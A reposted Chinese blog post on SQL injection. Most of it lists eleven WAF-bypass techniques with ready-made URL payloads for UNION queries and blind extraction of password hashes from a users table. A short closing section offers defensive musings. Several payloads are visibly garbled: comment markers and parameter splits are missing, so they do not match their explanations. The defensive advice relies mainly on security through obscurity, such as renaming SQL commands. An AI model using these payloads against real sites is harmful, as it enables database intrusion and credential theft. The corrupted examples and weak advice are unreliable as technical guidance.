【转】SQL注入攻击防御深层思考
当所有的系统安全防御做好后，剩下恐怕就是SQL注入，跨站攻击等等web应用层防御了，这也是广大站长最困扰的东东了，几日前写的“安全宝构架技术猜测与高级网络安全防御 ”讲解了一种最简单的高性能防御方方法，根据自己的情况稍微修改下，就可以应付大部分的攻击了，可是就万事大吉了吗？
首先我们回顾下网上牛人是怎么突破waf防御：
1.大小写绕过
这个大家都很熟悉，对于一些太垃圾的WAF效果显著，比如拦截了union，那就使用Union UnIoN等等绕过。
2.简单编码绕过
比如WAF检测关键字，那么我们让他检测不到就可以了。比如检测union，那么我们就用U也就是U的16进制编码来代替U，union写成 UnION，结合大小写也可以绕过一些WAF，你可以随意替换一个或几个都可以。
也还有大家在Mysql注入中比如表名或是load文件的时候，会把文件名或是表明用16进制编码来绕过WAF都是属于这类。
3.注释绕过
这种情况比较少，适用于WAF只是过滤了一次危险的语句，而没有阻断我们的整个查询。
01./?id=1+union+select+1,2,3unionselect+1,2,3 1,2,3,4…
可以看到，只要我们把敏感词放到注释里面，注意，前面要加一个！
4.分隔重写绕过
还是上面的例子，适用于那种WAF采用了正则表达式的情况，会检测所有的敏感字，而不在乎你写在哪里，有几个就过滤几个。
我们可以通过注释分开敏感字,这样WAF的正则不起作用了，而带入查询的时候并不影响我们的结果。
01./?id=1+union+select+1,2,3--
至于重写绕过，适用于WAF过滤了一次的情况，和我们上传aaspsp马的原理一样，我们可以写出类似Ununionion这样的。过滤一次union后就会执行我们的查询了。
01.?id=1 ununionion select 1,2,3--
5.Http参数污染(HPP)
比如我们有这样的语句：
01./?id=1 union select+1,2,3+from+users+where+id=1--
我们可以重复一次前面的id值添加我们的值来绕过，&id=会在查询时变成逗号：
01./?id=1 union select+1&id=2,3+from+users+where+id=1--
这种情况成功的条件比较多，取决于具体的WAF实现。
再给出一个例子说明用法：
01./?id=1unionselectpwdfromusers--
具体分析的话就涉及到查询语句的后台代码的编写了。
比如服务器是这样写的：
01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];
那我们可以构造这样的注入语句：
01./?a=1+unionselect+1,passfrom+users--
最终解析为：
01.select * from table where a=1 unionselect 1,passfrom users--
可以看到，这种方式其实比较适合白盒测试，而对于黑盒渗透的话，用起来比较麻烦。但是也可以一试。
6.使用逻辑运算符 or /and绕过
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
顺便解释一下第二句话，从最里面的括号开始分析，select+pwd+from+users+limit+1,1 这句是从users表里查询pwd字段的第一条记录，比如是admin，
然后mid(上一句),1,1就是取admin的第一个字符，也就是a，
lower(上一句)就是把字符转换为小写，
然后ascii就是把a转换成ascii码，看等不等于74。
7.比较操作符替换
包括!= 不等于，<>不等于，< 小于，>大于，这些都可以用来替换=来绕过。
比如上一个例子，要判断是不是74，假设=被过滤，那么我们可以判断是不是大于73，是不是小于75，然后就知道是74了。。很多WAF都会忘了这个。
8.同功能函数替换
Substring()可以用mid()，substr()这些函数来替换，都是用来取字符串的某一位字符的。
Ascii()编码可以用hex(),bin(),也就是16进制和二进制编码替换。Benchmark()可以用sleep()来替换，这两个使用在基于延时的盲注中，有机会给大家介绍。
如果连这些都屏蔽了，还有一种新的方法：
01. substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如这三条，都是从password里判断第一个字符的值，可以用：
01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
来替换，left用来取字符串左起1位的值，strcmp用来比较两个值，如果比较结果相等就为0，左边小的话就为-1，否则为1。
还有我前几篇说过的group_concat 和concat和concat_ws也可以互相替换。
9.盲注无需or和and
比如有这样一个注入点：
01.index.php?uid=123
and、or被过滤了，其实有一种更直接的方法，我们直接修改123为我们的语句生成的：
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的时候页面是正确的，我们现在在盲猜hash的第一位，如果第一位等于0x42也就是B，那么strcmp结果为0，0+123=123，所以页面应该是正确的。否则就说明不是B，就这样猜，不用and和or了。
10. 加括号
01./?id=1+union+(select+1,2+from+users)
比如，上面这一条被WAF拦截了。可以试试加一些括号：
01./?id=1+union+(select+1,2+from+xxx)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.缓冲区溢出绕过
这个是从国外一个博客看到的：
01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好，一般要求1000个以上。
以上就是网上盛传的突破方法，本人没时间去试，也不想去试，这里有一个问题，为什么会有千千万万个漏洞，攻击方法，防不胜防，有没有一个根本的方法解决所有已知，未知的漏洞攻击呢？
其实归根到底，我们用的linux win mysql 等等都是别人开发的，不是自己的东西，开源的好处就是你可以用，但是你不好保密！所以要解决问题，还得从软件，系统的开发开始，哪怕简单的二次开发都可以防御很多攻击：
1，假如自己能对mysql进行二次开发，把所有的select union 命令简单的改名，改成没有人知道的只有你自己知道的名字，你用担心sql注入吗？
2， 假如自己对mysql进行二次开发，改变sql标准，逻辑，你还怕or and 注入吗？
3，假如自己定义一套自己的开发语言，不用什么c php你还怕什么益处吗?
4，大规模定制改造linux 把所有的命令，系统调用经行二次开发，你还怕黑客入侵吗？人家连ls 命令都不知道怎么弄！
虽然有违开源精神，但是现在很多的闭源软件，防火墙早就这么干了，说白了，保密的东东，最安全，自己创造的东东，才是最可靠的，毕竟你可以随意定制更改，随意扩展开发！当然如果没有这个技术条件我们可以这么做，让黑客崩溃到底！
1，完全抛弃mysql mongodb等有sql注入风险的数据库，采用redis或其他简单的能满足你当前业务的nosql数据库,实在要逻辑，要什么触发功能，请用lua php实现，清除所有无用的功能，就和linux权限一样颗粒化一切，不要的，无用的统统丢掉，一个不剩！
2，对当前采用linux 系统 nginx apache 等等，全部进行源代码简单修改，核心功能算法不能更改，我们就不能更改命令名称，用户ui接口？打个比方把mysql 的select命令和各种对应的编码调用名称改掉，哪里来的sql注入呢？
好了，希望大家参考就好千万不要把系统改的面目全非，连自己都用不了，支持开源，不要仅仅停留在使用层，我们还是要努力成为开源软件开发者，或者多提出自己的创新建议，任何事情不要盲目去跟风，人家用，你也取用，够用就好是一种简单而高深的哲学！
本文出自 “清蒸BSD红烧LINUX” 博客，请务必保留此出处http://cookingbsd.blog.51cto.com/5404439/1196198
